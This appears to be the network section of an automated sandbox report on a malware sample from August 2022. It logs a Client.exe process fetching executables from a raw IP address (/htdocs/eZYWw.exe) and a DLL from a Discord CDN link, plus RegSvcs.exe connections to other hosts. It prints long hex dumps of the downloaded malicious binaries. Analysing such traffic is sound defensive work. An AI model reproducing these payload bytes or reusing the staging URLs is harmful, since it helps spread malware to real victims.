Aug 8, 2022 17:18:44.712677002 CEST	694	IN	Data Raw: 0e 11 0e 16 11 09 a2 11 0e 13 0f 11 0f 14 14 17 8d 52 00 00 01 13 10 11 10 16 17 9c 11 10 17 28 9c 00 00 0a 26 11 10 16 90 2c 1f 11 0f 16 9a 28 11 00 00 0a d0 0c 00 00 1b 28 14 00 00 0a 28 a0 00 00 0a 74 0c 00 00 1b 13 09 1f 60 0a 11 09 8e b7 17 Data Ascii: R(&,(((t`/oQ_QcQ((((oR/((Q8V(9

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49176	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49177	162.159.133.233	443	C:\Users\user\AppData\Local\Temp\Client.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49179	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\Client.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49181	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49182	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.22	49183	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.22	49174	109.206.241.81	80	C:\Users\user\AppData\Local\Temp\Client.exe

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:18:10.701307058 CEST	72	OUT	GET /htdocs/eZYWw.exe HTTP/1.1 Host: 109.206.241.81 Connection: Keep-Alive
Aug 8, 2022 17:18:10.739402056 CEST	73	IN	HTTP/1.1 200 OK Date: Mon, 08 Aug 2022 15:18:10 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 Last-Modified: Sun, 07 Aug 2022 10:26:43 GMT ETag: "34400-5e5a422bc1ac2" Accept-Ranges: bytes Content-Length: 214016 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 93 54 de 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 3c 03 00 00 06 00 00 00 00 00 00 ce 5b 03 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 5b 03 00 53 00 00 00 00 60 03 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 3b 03 00 00 20 00 00 00 3c 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 02 00 00 00 60 03 00 00 04 00 00 00 3e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 03 00 00 02 00 00 00 42 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 5b 03 00 00 00 00 00 48 00 00 00 02 00 05 00 bc 84 02 00 bc d6 00 00 03 00 00 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 01 00 00 0a 2a 1e 02 28 04 00 00 0a 2a a6 73 06 00 00 0a 80 01 00 00 04 73 07 00 00 0a 80 02 00 00 04 73 08 00 00 0a 80 03 00 00 04 73 09 00 00 0a 80 04 00 00 04 2a 00 00 13 30 02 00 2c 00 00 00 01 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 01 00 00 04 6f 0a 00 00 0a 2a 13 30 02 00 2c 00 00 00 02 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 02 00 00 04 6f 0b 00 00 0a 2a 13 30 02 00 2c 00 00 00 03 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 03 00 00 04 6f 0c 00 00 0a 2a 13 30 02 00 2c 00 00 00 04 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 04 00 00 04 6f 0d 00 00 0a 2a 13 30 02 00 2e 00 00 00 05 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 02 03 28 11 00 00 0a 28 12 00 00 0a 2a 00 00 13 30 02 00 28 00 00 00 06 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 02 28 13 00 00 0a 2a 13 30 02 00 2c 00 00 00 07 00 00 11 16 0b 2b 1b 00 07 17 fe Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELTb<[ @ @x[S` H.text; < `.rsrc`>@@.relocB@B[H((ssss0,+,,,++~o0,+,,,++~o0,+,,,++~o0,+,,,++~o0.+,,,++((0(+,,,++(*0,+
Aug 8, 2022 17:18:10.739437103 CEST	75	IN	Data Raw: 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 d0 05 00 00 02 28 14 00 00 0a 2a 13 30 02 00 28 00 00 00 08 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 02 Data Ascii: ,,,++(0(+,,,++(0C+;,,-%,(+,,++0(0O+C,~-2
Aug 8, 2022 17:18:10.739461899 CEST	76	IN	Data Raw: 61 02 00 06 28 23 00 00 0a 28 38 00 00 0a 26 de 0c 28 2d 00 00 0a 28 2e 00 00 0a de 00 2a 01 10 00 00 00 00 07 00 30 37 00 0c 1d 00 00 01 1b 30 03 00 d1 01 00 00 10 00 00 11 7e 15 00 00 04 39 c6 01 00 00 7e 18 00 00 04 7e 14 00 00 04 16 28 30 00 Data Ascii: a(#(8&(-(.*070~9~~(0;(]("(b(#(9-(]("(b(#(:&~(;,[~(<(=+.o>o?(<(03o@2(-(.
Aug 8, 2022 17:18:10.739485979 CEST	78	IN	Data Raw: 00 00 0a 28 2a 00 00 06 06 28 4f 00 00 0a 28 23 00 00 0a 6f 52 00 00 0a 7e 1c 00 00 04 28 5f 02 00 06 28 49 02 00 06 6f 4a 00 00 0a 28 22 02 00 06 28 4b 00 00 0a 0b 12 01 28 6a 02 00 06 28 4c 00 00 0a 28 70 02 00 06 28 4e 00 00 0a 28 73 02 00 06 Data Ascii: ((O(#oR~(_(IoJ("(K(j(L(p(N(s(+(t(((A(Q((#oR~(_(IoJ("(K(j(L(p(N(s(+(t((`(-~(u(K~
Aug 8, 2022 17:18:10.739518881 CEST	79	IN	Data Raw: 00 00 0a 2a 00 00 01 10 00 00 02 00 11 00 9e af 00 0e 00 00 00 00 1b 30 06 00 3f 01 00 00 16 00 00 11 28 47 01 00 06 0a 06 6f 48 00 00 0a 0b 7e 13 00 00 04 16 33 11 1c 07 28 49 00 00 0a 28 24 00 00 06 38 04 01 00 00 7e 13 00 00 04 17 33 2f 28 7f Data Ascii: 0?(GoH~3(I($8~3/((,(sd(%(-(.~3e(~(_(IoJ(h(K~(L((M('l(-(.`~3
Aug 8, 2022 17:18:10.739542961 CEST	80	IN	Data Raw: 00 00 0a 0c 08 11 04 73 87 00 00 0a 0d 09 02 6f 88 00 00 0a 7e 24 00 00 04 05 16 fe 01 5f 39 ae 00 00 00 09 16 6f 89 00 00 0a 28 51 00 00 0a 03 6f 52 00 00 0a 13 07 11 07 73 64 00 00 0a 13 08 73 8a 00 00 0a 13 06 11 06 28 74 02 00 06 6f 8b 00 00 Data Ascii: so~$_9o(QoRsds(to(h(K~(L(p(Noso(h(K~(L(p(Nooo(o+oo_,;o
Aug 8, 2022 17:18:10.739567995 CEST	82	IN	Data Raw: 07 8e b7 6f 74 00 00 0a 08 11 0c 0e 05 11 0c 6f a8 00 00 0a 28 a9 00 00 0a 13 0a 28 51 00 00 0a 11 0a 6f 52 00 00 0a 13 0b 11 06 11 0b 16 11 0b 8e b7 6f 74 00 00 0a 11 14 6f aa 00 00 0a 2d ae de 16 11 14 75 39 00 00 01 2c 0c 11 14 75 39 00 00 01 Data Ascii: oto((QoRoto-u9,u9o]ot(((QoRotot((((&oRotoeouovswox
Aug 8, 2022 17:18:10.739592075 CEST	83	IN	Data Raw: 0a 2a 1e 02 13 30 05 00 a8 01 00 00 1e 00 00 11 16 13 14 38 99 01 00 00 00 11 14 1a fe 01 2c 29 12 10 28 af 00 00 0a 28 04 00 00 06 6f b0 00 00 0a 6f b1 00 00 0a 13 11 12 11 28 b2 00 00 0a 73 b3 00 00 0a 13 06 1b 13 14 00 11 14 1d fe 01 2c 0f 28 Data Ascii: *08,)((oo(s,((,s,,(,jo,"((o,2js,(
Aug 8, 2022 17:18:10.739613056 CEST	85	IN	Data Raw: 01 2c 0c 16 06 8e b7 17 da 13 04 0c 1b 13 05 00 11 05 1c fe 01 2c 1f 08 18 5d 16 fe 01 08 06 8e b7 17 da fe 01 16 fe 01 5f 08 16 fe 02 5f 39 5c ff ff ff 1d 13 05 00 11 05 1b fe 01 2c 08 38 38 ff ff ff 1c 13 05 00 11 05 19 fe 01 2c 09 73 61 00 00 Data Ascii: ,,]__9\,88,sa,,+8ocoz((((}*0#8,{+tso,{+o,{
Aug 8, 2022 17:18:10.739634037 CEST	86	IN	Data Raw: 14 14 28 98 00 00 0a 28 e2 00 00 0a 28 cc 00 00 0a 3a 6e ff ff ff 07 14 28 d3 02 00 06 16 8d 07 00 00 01 14 14 14 28 98 00 00 0a 28 e3 00 00 0a 0a de 10 25 28 2d 00 00 0a 0d 16 0a 28 2e 00 00 0a de 00 06 2a 00 00 00 41 1c 00 00 00 00 00 00 00 00 Data Ascii: (((:n(((%(-(.A0['({(9-{(:&{((#(;->so;{((#o%(-(.,o]{((#
Aug 8, 2022 17:18:10.768718958 CEST	87	IN	Data Raw: 0e 11 0e 16 11 09 a2 11 0e 13 0f 11 0f 14 14 17 8d 52 00 00 01 13 10 11 10 16 17 9c 11 10 17 28 9c 00 00 0a 26 11 10 16 90 2c 1f 11 0f 16 9a 28 11 00 00 0a d0 0c 00 00 1b 28 14 00 00 0a 28 a0 00 00 0a 74 0c 00 00 1b 13 09 1f 60 0a 11 09 8e b7 17 Data Ascii: R(&,(((t`/oQ_QcQ((((oR/((Q8V(9

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.22	49178	109.206.241.81	80	C:\Users\user\AppData\Local\Temp\Client.exe

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:18:38.760584116 CEST	384	OUT	GET /htdocs/eZYWw.exe HTTP/1.1 Host: 109.206.241.81 Connection: Keep-Alive
Aug 8, 2022 17:18:38.791713953 CEST	385	IN	HTTP/1.1 200 OK Date: Mon, 08 Aug 2022 15:18:38 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 Last-Modified: Sun, 07 Aug 2022 10:26:43 GMT ETag: "34400-5e5a422bc1ac2" Accept-Ranges: bytes Content-Length: 214016 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 93 54 de 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 3c 03 00 00 06 00 00 00 00 00 00 ce 5b 03 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 5b 03 00 53 00 00 00 00 60 03 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 3b 03 00 00 20 00 00 00 3c 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 02 00 00 00 60 03 00 00 04 00 00 00 3e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 03 00 00 02 00 00 00 42 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 5b 03 00 00 00 00 00 48 00 00 00 02 00 05 00 bc 84 02 00 bc d6 00 00 03 00 00 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 01 00 00 0a 2a 1e 02 28 04 00 00 0a 2a a6 73 06 00 00 0a 80 01 00 00 04 73 07 00 00 0a 80 02 00 00 04 73 08 00 00 0a 80 03 00 00 04 73 09 00 00 0a 80 04 00 00 04 2a 00 00 13 30 02 00 2c 00 00 00 01 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 01 00 00 04 6f 0a 00 00 0a 2a 13 30 02 00 2c 00 00 00 02 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 02 00 00 04 6f 0b 00 00 0a 2a 13 30 02 00 2c 00 00 00 03 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 03 00 00 04 6f 0c 00 00 0a 2a 13 30 02 00 2c 00 00 00 04 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 04 00 00 04 6f 0d 00 00 0a 2a 13 30 02 00 2e 00 00 00 05 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 02 03 28 11 00 00 0a 28 12 00 00 0a 2a 00 00 13 30 02 00 28 00 00 00 06 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 02 28 13 00 00 0a 2a 13 30 02 00 2c 00 00 00 07 00 00 11 16 0b 2b 1b 00 07 17 fe Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELTb<[ @ @x[S` H.text; < `.rsrc`>@@.relocB@B[H((ssss0,+,,,++~o0,+,,,++~o0,+,,,++~o0,+,,,++~o0.+,,,++((0(+,,,++(*0,+
Aug 8, 2022 17:18:38.791793108 CEST	387	IN	Data Raw: 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 d0 05 00 00 02 28 14 00 00 0a 2a 13 30 02 00 28 00 00 00 08 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 02 Data Ascii: ,,,++(0(+,,,++(0C+;,,-%,(+,,++0(0O+C,~-2
Aug 8, 2022 17:18:38.791857958 CEST	388	IN	Data Raw: 61 02 00 06 28 23 00 00 0a 28 38 00 00 0a 26 de 0c 28 2d 00 00 0a 28 2e 00 00 0a de 00 2a 01 10 00 00 00 00 07 00 30 37 00 0c 1d 00 00 01 1b 30 03 00 d1 01 00 00 10 00 00 11 7e 15 00 00 04 39 c6 01 00 00 7e 18 00 00 04 7e 14 00 00 04 16 28 30 00 Data Ascii: a(#(8&(-(.*070~9~~(0;(]("(b(#(9-(]("(b(#(:&~(;,[~(<(=+.o>o?(<(03o@2(-(.
Aug 8, 2022 17:18:38.791915894 CEST	389	IN	Data Raw: 00 00 0a 28 2a 00 00 06 06 28 4f 00 00 0a 28 23 00 00 0a 6f 52 00 00 0a 7e 1c 00 00 04 28 5f 02 00 06 28 49 02 00 06 6f 4a 00 00 0a 28 22 02 00 06 28 4b 00 00 0a 0b 12 01 28 6a 02 00 06 28 4c 00 00 0a 28 70 02 00 06 28 4e 00 00 0a 28 73 02 00 06 Data Ascii: ((O(#oR~(_(IoJ("(K(j(L(p(N(s(+(t(((A(Q((#oR~(_(IoJ("(K(j(L(p(N(s(+(t((`(-~(u(K~
Aug 8, 2022 17:18:38.791975975 CEST	391	IN	Data Raw: 00 00 0a 2a 00 00 01 10 00 00 02 00 11 00 9e af 00 0e 00 00 00 00 1b 30 06 00 3f 01 00 00 16 00 00 11 28 47 01 00 06 0a 06 6f 48 00 00 0a 0b 7e 13 00 00 04 16 33 11 1c 07 28 49 00 00 0a 28 24 00 00 06 38 04 01 00 00 7e 13 00 00 04 17 33 2f 28 7f Data Ascii: 0?(GoH~3(I($8~3/((,(sd(%(-(.~3e(~(_(IoJ(h(K~(L((M('l(-(.`~3
Aug 8, 2022 17:18:38.792037010 CEST	392	IN	Data Raw: 00 00 0a 0c 08 11 04 73 87 00 00 0a 0d 09 02 6f 88 00 00 0a 7e 24 00 00 04 05 16 fe 01 5f 39 ae 00 00 00 09 16 6f 89 00 00 0a 28 51 00 00 0a 03 6f 52 00 00 0a 13 07 11 07 73 64 00 00 0a 13 08 73 8a 00 00 0a 13 06 11 06 28 74 02 00 06 6f 8b 00 00 Data Ascii: so~$_9o(QoRsds(to(h(K~(L(p(Noso(h(K~(L(p(Nooo(o+oo_,;o
Aug 8, 2022 17:18:38.792093039 CEST	394	IN	Data Raw: 07 8e b7 6f 74 00 00 0a 08 11 0c 0e 05 11 0c 6f a8 00 00 0a 28 a9 00 00 0a 13 0a 28 51 00 00 0a 11 0a 6f 52 00 00 0a 13 0b 11 06 11 0b 16 11 0b 8e b7 6f 74 00 00 0a 11 14 6f aa 00 00 0a 2d ae de 16 11 14 75 39 00 00 01 2c 0c 11 14 75 39 00 00 01 Data Ascii: oto((QoRoto-u9,u9o]ot(((QoRotot((((&oRotoeouovswox
Aug 8, 2022 17:18:38.792151928 CEST	395	IN	Data Raw: 0a 2a 1e 02 13 30 05 00 a8 01 00 00 1e 00 00 11 16 13 14 38 99 01 00 00 00 11 14 1a fe 01 2c 29 12 10 28 af 00 00 0a 28 04 00 00 06 6f b0 00 00 0a 6f b1 00 00 0a 13 11 12 11 28 b2 00 00 0a 73 b3 00 00 0a 13 06 1b 13 14 00 11 14 1d fe 01 2c 0f 28 Data Ascii: *08,)((oo(s,((,s,,(,jo,"((o,2js,(
Aug 8, 2022 17:18:38.792210102 CEST	396	IN	Data Raw: 01 2c 0c 16 06 8e b7 17 da 13 04 0c 1b 13 05 00 11 05 1c fe 01 2c 1f 08 18 5d 16 fe 01 08 06 8e b7 17 da fe 01 16 fe 01 5f 08 16 fe 02 5f 39 5c ff ff ff 1d 13 05 00 11 05 1b fe 01 2c 08 38 38 ff ff ff 1c 13 05 00 11 05 19 fe 01 2c 09 73 61 00 00 Data Ascii: ,,]__9\,88,sa,,+8ocoz((((}*0#8,{+tso,{+o,{
Aug 8, 2022 17:18:38.792268038 CEST	398	IN	Data Raw: 14 14 28 98 00 00 0a 28 e2 00 00 0a 28 cc 00 00 0a 3a 6e ff ff ff 07 14 28 d3 02 00 06 16 8d 07 00 00 01 14 14 14 28 98 00 00 0a 28 e3 00 00 0a 0a de 10 25 28 2d 00 00 0a 0d 16 0a 28 2e 00 00 0a de 00 06 2a 00 00 00 41 1c 00 00 00 00 00 00 00 00 Data Ascii: (((:n(((%(-(.A0['({(9-{(:&{((#(;->so;{((#o%(-(.,o]{((#
Aug 8, 2022 17:18:38.820405960 CEST	399	IN	Data Raw: 0e 11 0e 16 11 09 a2 11 0e 13 0f 11 0f 14 14 17 8d 52 00 00 01 13 10 11 10 16 17 9c 11 10 17 28 9c 00 00 0a 26 11 10 16 90 2c 1f 11 0f 16 9a 28 11 00 00 0a d0 0c 00 00 1b 28 14 00 00 0a 28 a0 00 00 0a 74 0c 00 00 1b 13 09 1f 60 0a 11 09 8e b7 17 Data Ascii: R(&,(((t`/oQ_QcQ((((oR/((Q8V(9

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\Client.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-08 15:18:10 UTC	0	OUT	GET /attachments/1005703293437235255/1005705055426588785/RealProxyFlagsBadSignature.dll HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2022-08-08 15:18:10 UTC	0	IN	HTTP/1.1 200 OK Date: Mon, 08 Aug 2022 15:18:10 GMT Content-Type: application/x-msdos-program Content-Length: 59904 Connection: close CF-Ray: 7379391bfe7d6969-FRA Accept-Ranges: bytes Age: 110633 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=RealProxyFlagsBadSignature.dll, attachment ETag: "79242a4038e35f2234d3373fb9133c3b" Expires: Tue, 08 Aug 2023 15:18:10 GMT Last-Modified: Sun, 07 Aug 2022 05:12:50 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1659849170365462 x-goog-hash: crc32c=NYw5/Q== x-goog-hash: md5=eSQqQDjjXyI00zc/uRM8Ow== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 59904 X-GUploader-UploadID: ADPycdupy3j_iJTl9UiBtH5H_LUJWnS6fjM0m76xxXqjYgQUCBDR1OD6agA7taTw16tkQfa4JMZqj0cPImG4pQS7vaiveg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZhuRC%2FuuVZdafWjTM7ZAbV1KxJRAQnk4nC8Cm3KLBfCDuNdXcvVN6J1GXerUkUgOgD1o7%2FUT0FKNBWC37boqdUzB3KU1vMFdPUnowfRfGVttWQ6DO8tgngxJSrynwpDIdT49sg%3D%3D"}],"group":"cf-nel","max_age":604800}
2022-08-08 15:18:10 UTC	1	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2022-08-08 15:18:10 UTC	1	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 c2 48 ef 62 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 b8 00 00 00 30 00 00 00 00 00 00 8e d6 00 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELHb!0 @ @`
2022-08-08 15:18:10 UTC	2	IN	Data Raw: 38 f8 01 00 00 38 f3 01 00 00 20 15 00 00 00 fe 0c 00 00 3f fc 00 00 00 20 15 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 74 08 00 00 20 11 00 00 00 fe 0c 00 00 3f 64 00 00 00 20 11 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 19 07 00 00 20 0f 00 00 00 fe 0c 00 00 3f 18 00 00 00 20 0f 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 34 06 00 00 38 8b 01 00 00 20 10 00 00 00 fe 0c 00 00 3f 18 00 00 00 20 10 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 93 06 00 00 38 65 01 00 00 38 60 01 00 00 20 13 00 00 00 fe 0c 00 00 3f 3e 00 00 00 20 13 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 35 07 00 00 20 12 00 00 00 fe 0c 00 00 3f 18 00 00 00 20 12 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 cd 06 00 00 38 19 01 00 00 38 14 01 00 00 20 14 00 00 00 fe 0c 00 00 3f 18 00 00 00 20 14 00 00 00 fe 0c 00 Data Ascii: 88 ? =8t ?d =8 ? =848 ? =88e8` ?> =85 ? =888 ?
2022-08-08 15:18:10 UTC	4	IN	Data Raw: 04 00 fe 0c 03 00 20 01 00 00 00 59 20 01 00 00 00 9c fe 0c 08 00 fe 0c 03 00 20 01 00 00 00 59 8f 05 00 00 01 e0 fe 0c 06 00 fe 0c 03 00 20 01 00 00 00 59 9a fe 0c 08 00 fe 0c 03 00 20 01 00 00 00 59 8f 05 00 00 01 e0 4a fe 0c 01 00 7e 03 00 00 04 fe 0c 0b 00 fe 0c 03 00 20 01 00 00 00 59 94 97 29 05 00 00 11 7e 03 00 00 04 fe 0c 0c 00 fe 0c 02 00 58 4a 97 29 06 00 00 11 55 fe 0c 0c 00 20 08 00 00 00 58 fe 0e 0c 00 38 c3 f7 ff ff fe 0c 08 00 fe 0c 03 00 20 02 00 00 00 59 8f 05 00 00 01 e0 4c fe 0c 08 00 fe 0c 03 00 20 01 00 00 00 59 8f 05 00 00 01 e0 4c fe 02 fe 0c 0c 00 fe 0c 02 00 58 4a fe 0c 0c 00 20 08 00 00 00 58 fe 0c 02 00 58 4a 59 5a fe 0c 0c 00 20 